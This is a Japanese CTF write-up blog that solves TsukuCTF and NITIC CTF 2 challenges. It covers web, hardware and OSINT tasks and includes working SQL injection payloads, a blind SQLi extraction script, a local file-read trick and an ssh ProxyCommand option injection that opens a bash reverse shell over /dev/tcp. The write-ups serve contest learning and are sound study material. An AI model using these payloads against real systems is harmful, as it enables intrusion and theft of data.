[Misc 244] discriminate (25 solves)

GPT-2から文章を生成したので、与えられた文章のうちどこからどこまでが元の文章か特定してくれという問題。与えられた文章の一部の「握るだけで解錠できるスマートドアハンドルを開発した」でググると、元の文章が含まれているポスターがヒットする。与えられた文章と元の文章を比較すればよい。

TsukuCTF{パターンを}

Hardware

[Hardware 100] CAD (82 solves)

STLファイルが与えられる。"STL viewer online" みたいな感じでググって出てきたビュアーに投げると読める。

f:id:st98:20210912060822p:plain

TsukuCTF{ILIK3B3ar}

[Hardware 100] Ltika (49 solves)

ino という拡張子のファイルが与えられる。内容はこんな感じ:

void setup() {
  // initialize digital pin LED_BUILTIN as an output.
  pinMode(LED_BUILTIN, OUTPUT);
}

void blinking(){
  digitalWrite(LED_BUILTIN, HIGH);   
  delay(500);
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}
void lit(){
  digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(2000);                       // wait for a second
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}

void wait(){
  digitalWrite(LED_BUILTIN, LOW);
  delay(1200); 
}
// the loop function runs over and over again forever
void loop() {
  blinking();
  wait();

  lit();
  blinking();
  wait();
  
  blinking();
  lit();
  lit();
  lit();
  wait();

//…

  delay(3000);
}

どう見てもモールス信号。適当に普通のモールス信号に変換するスクリプトを書く。

s = '''  blinking();
  wait();

  lit();
  wait();'''

s = s.replace('\n', '').replace(' ', '').split(';')
print(''.join({
  'blinking()': '.',
  'lit()': '-',
  'wait()': ' ',
  '': ''
}[c] for c in s))

デコードするとフラグが得られた。

TsukuCTF{ENJ0YHARDWARE!}

[Hardware 152] PCB (29 solves)

gtlgm1gbl といった拡張子のファイルが含まれるZIPファイルが与えられる。ZIPファイルの名前には GerBer が含まれている。"Gerber viewer online" でググって出てきたビュアーに投げると読める。

f:id:st98:20210912061116p:plain

これははくちょう座。英語名にするとフラグが得られた。

TsukuCTF{CYGNUS}

Web

[Web 100] digits (63 solves)

以下のようなコードが与えられている。

@app.get("/")
def main(q: Optional[str] = None):
    if q == None:
        return {
            "msg": "please input param 'q' (0000000000~9999999999).  example: /?q=1234567890"
        }
    if len(q) != 10:
        return {"msg": "invalid query"}
    if "-" in q or "+" in q:
        return {"msg": "invalid query"}
    try:
        if not type(int(q)) is int:
            return {"msg": "invalid query"}
    except:
        return {"msg": "invalid query"}

    you_are_lucky = 0

    for _ in range(100):
        idx = random.randrange(4)
        if q[idx] < "0":
            you_are_lucky += 1
        if q[idx] > "9":
            you_are_lucky += 1

    if you_are_lucky > 0:
        return {"flag": FLAG}
    else:
        return {"msg": "Sorry... You're unlucky."}

type(int(q)) はスペースで埋めることで回避できる。/digits?q=%20%20%20%20%20%20%20%20%201 でフラグが得られた。

TsukuCTF{you_are_lucky_Tsukushi}

[Web 100] Login (79 solves)

ログインフォームが与えられる。ログインといえばSQLiなので、パスワードに ' or 1;# を入力してみるとフラグが得られた。

TsukuCTF{You_4r3_SUP3R_H4CKER}

[Web 323] Login 2 (21 solves)

ログインフォームが与えられる。Loginに修正が入り、ただログインするだけではフラグが得られなくなった。ただ、ログインしたユーザ名は表示してくれるので、UNION 句で別のテーブルのデータを引っ張ってこれる。' union select @@version, 2;#8.0.26 としてログインできた。8.0.26ググるMySQLのバージョンであることがわかる。

MySQLでは information_schema.tables というテーブルからテーブルに関するデータが取得できる。' union select table_name, 2 from information_schema.tables;#super_secret_tableuser_table というテーブルがあることがわかった。

続いて information_schema.columns というテーブルを使って、' union select column_name, 2 from information_schema.columns where table_name='super_secret_table';#super_secret_table テーブルには idsecret というカラムがあることがわかった。あとは super_secret_table からデータを取り出すだけ。' union select secret, 2 from super_secret_table;# でフラグが得られた。

TsukuCTF{50_muCh_GR3AT_Hacker_!ND3ED}

[Web 472] Login 3 (9 solves)

ログインフォームが与えられる。Login 2に修正が入り、今度はログインの成否だけしか情報が与えられなくなった。ただ、この「ログインの成否」から1ビットずつ情報を得るBlind SQLiはまだ有効だ。Pythonスクリプトを書く。

import requests

def query(q):
  r = requests.post('https://tsukuctf.sechack365.com/problems/login3/login.php', data={
    'username': 'hoge',
    'password': q
  })
  return 'ようこそ' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f"' or ord(substr(version(), {i}, 1)) & {1 << j};#"):
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

あとはLogin 2と同じ手順でテーブル名とカラム名を抜き出し、得られた秘密のテーブルからフラグが得られた。

TsukuCTF{U_Are_Geni0us_T$UKUSH1}

[Web 100] logonly (31 solves)

アクセスログが与えられている、が214153行の XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 - というログの後に XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:01] "POST / HTTP/1.1" 200 - とログインに成功したであろうログがある以外には情報はない。

問題文によれば「Kali Linuxの中のツールとファイルを使ったらrootで簡単にログインできた」らしい。インストールされている辞書で辞書攻撃でもしたのだろうか。rockyou.txt の214154行目は qwertyuiop[]\\ だ。これを提出すると正解だった。

TsukuCTF{qwertyuiop[]\\}

[Web 372] Journey (18 solves)

与えられたURLにアクセスすると、複数回のリダイレクトの後に /problems/journey/goal に飛ばされたが、"Did you check your status?" と怒られてしまった。"status" とはHTTPステータスコードのことだろうか。見てみると、"405 Method Not Allowed" が返ってきていた。

GET以外のメソッドならどうだろう。OPTIONS を試してみると、以下の9種類のメソッドを受け付けているらしいとわかった。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X OPTIONS
HTTP/1.1 204 No Content
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:19:50 GMT
Connection: keep-alive
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, CONNECT, TRACE, PATCH

片っ端から試していると、CONNECT のときに以下のようなメッセージが表示された。リファラがダメらしい。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X CONNECT
HTTP/1.1 405 Method Not Allowed
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:20:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 154
Connection: keep-alive

<head><meta http-equiv='refresh' content=' 5; url=/'></head><body><h1>Where are you from?</h1><p>I think you have come from fraudulent referer.</p></body>

リファラにそれっぽいURLを入れてやるとフラグが得られた。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X CONNECT -H "Referer: https://tsukuctf.sechack365.com/problems/journey/railway/1"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:21:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 40
Connection: keep-alive

<h1>TsukuCTF{H0w_wa5_y0ur_j0urney?}</h1>
TsukuCTF{H0w_wa5_y0ur_j0urney?}

[Web 495] gyOTAKU (4 solves)

以下のようなソースコードが与えられた。URLを与えると requests によってそのコンテンツが取得され、(ランダムに生成された文字列).html というファイルにそれを保存した上でChromiumで開き、スクリーンショットを保存する。二度手間ではないか。

import io
import os
import random
import string
import requests
import subprocess
from flask import Flask, render_template, request, send_file

app = Flask(__name__)

def sanitize(text):
    #RCE is a non-assumed solution. <- This is not a hint.
    url = ""
    for i in text:
        if i in string.digits + string.ascii_lowercase + string.ascii_uppercase + "./_:":
            url += i
    if (url[0:7]!="http://") and (url[0:8]!="https://"):
        url = "https://www.google.com"
    return url

@app.route("/")
def gyotaku():
    filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(15)])
    url = request.args.get("url")
    if not url:
        return "<font size=6>🐟gyOTAKU🐟</font><br><br>You can get gyotaku: <strong>?url={URL}</strong><br>Sorry, we do not yet support other files in the acquired site."
    url = sanitize(url)
    html = open(f"{filename}.html", "w")
    try:
        html.write(requests.get(url, timeout=1).text + "<br><font size=7>gyotakued by gyOTAKU</font>")
    except:
        html.write("Requests error<br><font size=7>gyotakued by gyOTAKU</font>")
    html.close()
    cmd = f"chromium-browser --no-sandbox --headless --disable-gpu --screenshot='./gyotaku-{filename}.png' --window-size=1280,1080 '{filename}.html'"
    subprocess.run(cmd, shell=True, timeout=1)
    os.remove(f"{filename}.html")
    png = open(f"gyotaku-{filename}.png", "rb")
    screenshot = io.BytesIO(png.read())
    png.close()
    os.remove(f"gyotaku-{filename}.png")
    return send_file(screenshot, mimetype='image/png')

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=9000)

問題文によれば、このスクリプトを実行しているユーザは root であり、またフラグはローカルに存在しているらしい。フラグのファイル名は乱数を生成して決めたそうだから、まずはその名前を特定する必要がある。

location.href = "file:///" のようなJavaScriptコードを実行させて file:/// などにリダイレクトさせればファイルの一覧が得られるのではないかとまず考えたが、なぜかChromiumは真っ白なページを返してしまう。では特定のファイルならばどうかと location.href = "/etc/passwd" を試したところ、その内容が表示された。

他に見るべきファイルがあるか悩んでいたが、もしかしたら root のホームディレクトリに何かあるかもしれないと思いついた。試しに /root/.bash_history を読んでみるとビンゴ、フラグのファイル名がわかった。

f:id:st98:20210912064057p:plain

これを読むとフラグが得られた。

f:id:st98:20210912064101p:plain

TsukuCTF{Tsukushi_to_Sugina_no_chigai_ga_wakaran}

OSINT

[OSINT 100] ramen (93 solves)

ラーメンの画像が与えられるので、そのラーメン店の本店のInstagramのIDを特定する問題。Yandexで画像検索すると銀座篝がヒットした。

TsukuCTF{kagari_honten}

[OSINT 100] shop (83 solves)

イオンモールを外から撮影したと思われる動画が与えられる。トヨタカローラの店舗があること、また湖もしくは海の近くに立地していることがわかる。"イオンモール トヨタカローラ" でググってみるとイオンモール幕張新都心イオンモール草津店、イオンモール大和などの店舗がヒットした。動画と外観や立地が一致しているのはイオンモール草津店だ。

TsukuCTF{イオンモール草津}

[OSINT 100] train (84 solves)

駅構内の写真が与えられる。5番線が山手線、6番線が京浜東北線という情報がまず目に入る。問題文からリンクされている東京近郊路線図を見ると山手線と京浜東北線が並走している区間は田端~品川であるとわかる。この間の駅で5番線が山手線、6番線が京浜東北線であるのは新橋駅だ。

TsukuCTF{Shimbashi}

[OSINT 100] YUGEN (47 solves)

SLが走る様子を撮影した動画が与えられるので、撮影された駅を答えよという問題。SLの側面に「SL人吉」と書かれており、これで路線がある程度絞れる。前面に「無限」と書かれたプレートが付けられているが、これは「SL無限列車」だろう。SLはしばらく高架下を走っているが、後にSLが走る線路と高架は分かれていく。さらに、動画ファイルには2020年11月3日13時44分に撮影されたという情報が残っている:

f:id:st98:20210912070638p:plain

動画が撮影された時間帯にこのSLがどこを走っていたか特定していく。まずJR九州リリースを確認すると、この日の運行区間は熊本→博多であることがわかる。熊本発8:35~博多着13:04らしく、撮影地は博多駅からそう離れてはいないだろうとわかる。Twitterでもなにか情報が得られないか "until:2020-11-03_14:00:00_JST SL lang:ja" で探すと、まさに目撃された駅と時刻が書かれたツイートが見つかった。竹下駅をGoogleマップで確認してみると、たしかに線路が高架下を通り、後に高架と分かれていく。また、動画で正面に見えていた特徴的な黄色の建物も見える。ここだ。

TsukuCTF{Takeshita}

[OSINT 100] Beach (80 solves)

おそらく海岸で撮影された2枚の写真から最寄り駅を特定しろという問題。Bingで画像検索すると大変よく似た構図の写真を含むページが出てきた。「オフィスの目の前には海が広がる」というキャプションが付いており、またそのオフィスの住所も書かれている。その最寄り駅は茅ヶ崎駅だ。

TsukuCTF{Chigasaki}

[OSINT 100] tram (43 solves)

海外で撮影された写真の撮影地を答えろという問題。写真と問題名からまずトラムの駅だとわかる。写真の左側に「ČSOB」と書かれているが、これでググるチェコスロバキア貿易銀行の建物だとわかる。チェコもしくはスロバキアのトラムだろうか。

Wikipediaチェコスロバキアにあった、または現在チェコかスロバキアにある路面電車の一覧がある。まあ、プラハブラチスラヴァだろう。トラムの前面には「5」と表示されている。Wikipediaによれば、ブラチスラヴァ市電には5番系統がないがプラハ市電にはあるらしい。プラハ市電の5番系統を総当たりしていこう。WikiRoutesなるサイトNAVITIME Transitでトラムの駅を参照しつつ、Googleマップで「ČSOB」と調べて駅の近くにあるものがないか探していく。「Anděl」という駅がピッタリだった。

TsukuCTF{Anděl}

[OSINT 100] Tsukushi_no_email1 (44 solves)

TsukuCTFのメールアドレスのアイコンにフラグがあるので、それを見つけろという問題。ルールページtsukuctf@gmail.comGmailのメールアドレスが書かれている。Gmailのメールボックスでそのメールアドレスを検索するとアイコンが出てきた

TsukuCTF{Google_kingdom}

[OSINT 100] Tsukushi_no_email2 (40 solves)

Tsukushi_no_email1で得られたメールアドレスをヒントに予定表を手に入れろという問題。Gmailを使っているということは、おそらくその予定表というのはGoogleカレンダーのことを指しているのだろう。カレンダーの埋め込み用のURLをいじって、https://calendar.google.com/calendar/embed?height=600&wkst=1&bgcolor=%23FFFFFF&color=%232952A3&color=%23711616&src=tsukuctf@gmail.com&color=%231B887A&ctz=Asia/Tokyo で予定表が見られた。9/11の12:00の予定にフラグが書かれていた。

TsukuCTF{Horsetail_is_delicious}

[OSINT 100] cafe (37 solves)

@7aru7aruさんという方がハマっているメイドカフェを特定する問題。まず "from:7aru7aru メイド" で検索してみるも、特定のメイドカフェに関する言及は見つからない。なにか有益な画像はないかメディア欄を開いてみるが、YouTubeの動画へのリンクばかりで肝心の画像が埋もれてしまっている。"from:7aru7aru filter:images" で画像に絞ってツイートを眺めていくと、大変それっぽい画像が見つかった。

メイドさんのポケットには「No.1メイドカフェグループ」と書かれており、これをググるめいどりーみんというメイドカフェがヒットする。全国展開しているメイドカフェなので、先ほどの写真がどの店舗で撮影されたか特定しなければならない。店舗情報を見ていくと、幸いなことに店舗ごとに内装が大きく異なっていることがわかる。秋葉原 中央通り店の内装がまさにそれだった。

TsukuCTF{https://maidreamin.com/shop/detail.html?id=5}

[OSINT 100] train2 (60 solves)

駅のプラットフォームで撮られた写真から撮影地を特定しろという問題。画像中央やや右にある柱をよく見ると「出町柳9号」と書かれている。「出町柳9号」でググるとこれは叡山電車出町柳元田中間(というか元田中駅)にある踏切を指すとわかる。

TsukuCTF{元田中}

[OSINT 100] fishing (77 solves)

写真の撮影地を特定しろという問題。目の前に特徴的な橋が写っており、Bingで検索すると東京ゲートブリッジとわかる。"東京ゲートブリッジ 釣り場" で検索すると若洲海浜公園とわかる。

TsukuCTF{若洲海浜公園}

[OSINT 100] dam (55 solves)

貯水湖で撮られた写真から撮影地を特定しろという問題。よく見ると画像中央やや右に特徴的な橋が見える。

f:id:st98:20210912073518p:plain

"貯水湖 橋" で画像検索すると南河内橋がヒットした。この橋が架かっているのは河内貯水池だ。

TsukuCTF{河内貯水池}

[OSINT 285] park (23 solves)

写真の撮影地を特定しろという問題。かなりの都会っぽい。特徴的な建物がないか探していく。まず画像の右側に、かなり小さいがスーパーマーケットのロゴらしきものが見える。拡大してBingで検索すると「サンリブ」という名前でよく似たロゴを持ったスーパーマーケットの写真がヒットした。ググると、どうやら「マルショク」というスーパーマーケットもよく似たロゴらしい。どちらもサンリブグループのスーパーマーケットで、店舗情報を見ると広島、山口、福岡、佐賀、大分、熊本、宮崎に展開していることがわかる。

f:id:st98:20210912074046p:plain

写真の左側にはなにやら明るく光っているものが見える。スタジアムや球場だろうか。

f:id:st98:20210912074316p:plain

スタジアムらしきもののさらに左には新幹線が見える。新幹線の沿線となるとかなり絞り込めるはずだ。

f:id:st98:20210912074435p:plain

サンリブグループのスーパーマーケットのやや左奥をよく見ると、ゴルフの打ちっ放しの練習場らしきものの後ろ側に、山の中にあるらしい白い何かと斜面が見える。雑に「(県名) 山 白い」にサンリブグループの展開する県名を入れてググっていくと、どうやらこれは広島の二葉山にある平和塔(仏舎利塔)らしいとわかる。

f:id:st98:20210912074533p:plain

写真の撮影地が広島であることがわかったので、Googleマップを使って特徴的な建造物の名前を特定していく。画像中央の特徴的な高層ビルは左からシティタワー広島、グランクロスタワー広島だろう。さっきのスタジアムはマツダスタジアムだ。

f:id:st98:20210912075137p:plain

手前に見える学校らしきものは府中町立府中中学校だろう。

f:id:st98:20210912075443p:plain

最後に、ここまで特定した建物が写真のように写る場所を探す。一番手前に見える以下の特徴的な建物を目印に探すと、撮影地は瀬戸ハイム第一児童遊園地だとわかった。

f:id:st98:20210912075515p:plain

TsukuCTF{瀬戸ハイム第一児童遊園地}

[OSINT 323] OBOG (21 solves)

SecHack365非公式サイトが改ざんされたので、その改ざんされた内容を探せという問題。"SecHack365非公式サイト" で検索するとそれっぽいWebサイトがヒットする。DevToolsを開きつつコンテンツを片っ端から見ていると、/timer/ でコンソールに Please decode! → VHN1a3VDVEZ7aHR0cHM6Ly9zZWNoYWNrMzY1Lm5pY3QuZ28uanB9 と出力された。これをBase64デコードするとフラグが得られた。

TsukuCTF{https://sechack365.nict.go.jp}

[OSINT 340] InterPlanetary Protocol (20 solves)

問題文によると、以下の3つの文字列はすべて「特殊なウェブサイトのURL」らしい。59文字だからTorのV3アドレスにしては3文字多いしなんだろう、と思っていたところで問題名に「InterPlanetary」が含まれていることに気づく。InterPlanetary File System(IPFS)だ。

  • bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
  • bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
  • bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm

docker run --rm -d ipfs/go-ipfs して docker exec -it … sh でこれらのファイルを表示する。

/ # ipfs cat bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
TsukuCTF{IPFS_
/ # ipfs cat bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
_is_the_
/ # ipfs cat bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm
future}

フラグが得られた。

TsukuCTF{IPFS_is_the_future}

[OSINT 372] WildTsukushis (18 solves)

黄色い恐竜とつくしの生えた山の遊具が写った写真が与えられるので、撮影地を答えろという問題。GoogleやBingでそのまま画像検索するも見つからない。Googleレンズでつくしの遊具を切り取って検索するとそれっぽい写真を含んだ記事が見つかる。

TsukuCTF{御浜海水浴場}

[OSINT 372] uiui (18 solves)

パスワード付きZIPが与えられる。このZIPは「一般に決められた方法で検体を送ってもら」ったということだが、PPAPのことだろう。John the Ripperでクラックできた。

$ zip2john Virus.zip > Virus.john
ver 2.0 efh 5455 efh 7875 Virus.zip/Virus PKZIP Encr: 2b chk, TS_chk, cmplen=2511, decmplen=16696, crc=ED9F71AA
$ john Virus.john --wordlist=/usr/share/dict/words
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Warning: OpenMP is disabled; a non-OpenMP build may be faster
Press 'q' or Ctrl-C to abort, almost any other key for status
infected         (Virus.zip/Virus)
1g 0:00:00:00 DONE (2021-09-11 09:42) 50.00g/s 2825Kp/s 2825Kc/s 2825KC/s infarction..infields
Use the "--show" option to display all of the cracked passwords reliably
Session completed

展開されたファイルはただのELFだが、これはどういうことだろうか。問題文には「解析にあたってマズイことをしてしまいました」「彼は感染したことをほかの人に知られたくないようです」とある。何も考えずにVirusTotalなどに投げてしまったということだろうか。

VirusTotalでこのELFのハッシュ値を検索するとヒットした。ファイル名にフラグが書かれている。

TsukuCTF{Careless_uploading_is_dangerous}

[OSINT 464] udon (10 solves)

カレーうどんの写真が与えられるので、撮影された店舗を答える問題。Googleレンズで検索すると「えん家」が見つかる。

TsukuCTF{@sanukiudonenya}

NITIC CTF 2 writeup

9/5 - 9/6という日程で開催された。zer0ptsで参加して1位。


[Web 300] password (46 solves)

以下のようなコードが与えられた。ランダムに生成されたパスワードを /flag に与えるとフラグが得られるらしい。0oO のような紛らわしい文字は打ち間違えても大丈夫らしい。

from flask import Flask, request, make_response
import string
import secrets

password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])

print("[INFO] password: " + password)

with open("flag.txt") as f:
    flag = f.read()


def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            c = "0oO"
        elif input_pass[i] in "l1I":
            c = "l1I"
        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False
    return True

app = Flask(__name__)

@app.route("/")
def home():
    html = """
  <!DOCTYPE html>
  <html lang="en">
  <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>test page</title>
  </head>
  <body>
      <h1>Do you want the flag?</h1>
      <p>password: <input type="text" id="password"></p>
      <p><button id="submit">Submit</button></p>
      <pre id="response"></pre>

      <script>
          document.getElementById("submit").onclick = () => {
              const data = {"pass": document.getElementById("password").value}
              fetch('/flag', {
                  method: 'POST',
                  headers: {
                      'Content-Type': 'application/json',
                  },
                  body: JSON.stringify(data),
              })
              .then(async (res) => document.getElementById("response").innerHTML = await res.text())
          };
      </script>
  </body>
  </html>
  """
    return make_response(html, 200)

@app.route("/flag", methods=["POST"])
def search():
    if request.headers.get("Content-Type") != 'application/json':
        return make_response("Content-Type Not Allowed", 415)

    input_pass = request.json.get("pass", "")
    if not fuzzy_equal(input_pass, password):
        return make_response("invalid password", 401)
    return flag


app.run(port=8080)

fuzzy_equal の処理をよく見てみると、あいまい検索の実装は c = input_pass[i] からの all([ci != password[i] for ci in c]) によって行われていることがわかる。/flagJSONを受け付けているから、input_pass[i] に配列を入れることもできる。string.ascii_letters で埋め尽くされた配列を渡せば、c には string.ascii_letters が入り、また password[i] は必ず string.ascii_letters の中に含まれるから、fuzzy_equalTrue を返すはずだ。以下のコマンドを実行するとフラグが得られた。

#!/bin/bash
curl 'http://34.146.80.178:8001/flag' \
  -H 'Content-Type: application/json' \
  --data-raw '{"pass":["abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"]}'
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

[Web 300] password fixed (13 solves)

passwordに以下のような修正が加えられた。もう先ほどの解法は動かない。

18,23c18,25
<                       c = "0oO"
<               elif input_pass[i] in "l1I":
<                       c = "l1I"
<               else:
<                       c = input_pass[i]
<               if all([ci != password[i] for ci in c]):
---
>                       if password[i] not in "0oO":
>                               return False
>                       continue
>               if input_pass[i] in "l1I":
>                       if password[i] not in "l1I":
>                               return False
>                       continue
>               if input_pass[i] != password[i]:

当てるべきパスワードが Aaaa である場合を考える。['B',[],[],[]] をパスワードとして入力すると、if input_pass[i] != password[i]: return False でループが終了し、if not fuzzy_equal(input_pass, password): return make_response("invalid password", 401) によって401というステータスコードが返ってくる。

一方で、['A',[],[],[]] が入力された場合にはループが終了せず A の次の要素である [] もチェックされるが、ループでまず実行される input_pass[i] in "0oO" において以下のように左辺と右辺の型が違うために例外が発生する。したがって、ステータスコードは500になる。

>>> [] in '0oO'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'in <string>' requires string as left operand, not list

この挙動を利用すると、ステータスコードを観察することで1文字ずつパスワードが特定できる。

import requests
import string

HOST = 'http://34.146.80.178:8002'

known = ''
for _ in range(32):
  for c in string.ascii_letters:
    tmp = list(known + c) + [[]] * (32 - len(known + c))
    r = requests.post(f'{HOST}/flag', json={
      'pass': tmp
    })
    if r.status_code in (200, 500):
      known += c
      break
  print(known)
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}

[Web 500] Is it Shell? (3 solves)

WeTTYというWebブラウザでターミナルを操作できる便利なツールが動いているURLと、以下のようなパッチが与えられた。

wetty2.0.3.patch というパッチのファイル名から使われているWeTTYのバージョンが2.0.3であると推測できるが、GitHubリリースログを見てみるとちょうど2週間ほど前に2.1.1がリリースされており、やや古いことがわかる。

2.0.3から2.1.1までの間でなにか脆弱性が修正されてはいないだろうか。コミットログ変更されたファイルを眺めていると、- から始まるユーザ名を入力できないようにするバグを修正するコミットが見つかった。問題で与えられたパッチは以下からわかるようにクライアント側のコードを修正するものだが、これも - を入力できないようにしている。ヒントだろうか。

--- a/src/client/wetty.ts
+++ b/src/client/wetty.ts
@@ -27,7 +27,7 @@ socket.on('connect', () => {
   const fileDownloader = new FileDownloader();

   term.onData((data: string) => {
-    socket.emit('input', data);
+    socket.emit('input', data.replace(/-/g, ''));
   });
   term.onResize((size: { cols: number; rows: number }) => {
     socket.emit('resize', size);

試しに - から始まるユーザ名を入力してみよう。DevToolsを開いて String.prototype.replace = function () { return this; }; を実行し、-hoge を入力してみると、以下のように ssh コマンドのhelpが表示された。ssh コマンドのオプションのinjectionができるということだろうか。

f:id:st98:20210906013236p:plain

man ssh で有用なオプションがないか眺めていると、-F という設定ファイルを読み込むためのオプションが見つかった。これで適当なファイルを読み込めないだろうか。

     -F configfile
             Specifies an alternative per-user configuration file.  If a configuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.  The
             default for the per-user configuration file is ~/.ssh/config.

いちいち手でオプションを入力するのも面倒なので、Socket.IOのクライアントで直接入力できるようにしてみる。Socket.IOのサーバに接続している箇所にブレークポイントを置いて、ここに来たタイミングで globalThis.sock = socket を実行すると、sock からいつでもデータを送れるようになった。

f:id:st98:20210906013442p:plain

sock.emit('input', '-F/etc/passwd\x00')-F/etc/passwd\x00 を入力して送信すると、以下のように /etc/passwd を読み込むことができた。

f:id:st98:20210906013915p:plain

ここでしばらく悩んでいたが、あらためて man ssh を読んでいると -o オプションで様々なオプションを設定できることに気づいた。

     -o option
             Can be used to give options in the format used in the configuration file.  This is useful for specifying options for which there is no separate command-line flag.  For full details of the
             options listed below, and their possible values, see ssh_config(5).

有用なオプションがないか man ssh_config で探していると、ProxyCommand といういい感じにOSコマンドが実行できそうなものが見つかった。

     ProxyCommand
             Specifies the command to use to connect to the server.  The command string extends to the end of the line, and is executed using the user's shell ‘exec’ directive to avoid a lingering shell
             process.

             Arguments to ProxyCommand accept the tokens described in the TOKENS section.  The command can be basically anything, and should read from its standard input and write to its standard output.
             It should eventually connect an sshd(8) server running on some machine, or execute sshd -i somewhere.  Host key management will be done using the Hostname of the host being connected (de‐
             faulting to the name typed by the user).  Setting the command to none disables this option entirely.  Note that CheckHostIP is not available for connects with a proxy command.

             This directive is useful in conjunction with nc(1) and its proxy support.  For example, the following directive would connect via an HTTP proxy at 192.0.2.0:

                ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

8000番ポートで待ち受けた上で -o ProxyCommand=bash -c "bash -i >& /dev/tcp/…/8000 0>&1"\x00 を入力し送信すると、リバースシェルを張ることができた。

ホームディレクトリにあるファイルを見てみる。まず .bash_historyflag@flagserver にログインすればよいらしい。

ubuntu@ip-172-31-45-150:~$ cat .bash_history
cat .bash_history
rm .bash_history 
exit
cat .ssh/known_hosts 
ls
ls
echo "login to flag@flagserver" > note
exit
ls -altr
cat .bash_history 
vim .bash_history 
ls -altr
history
exit
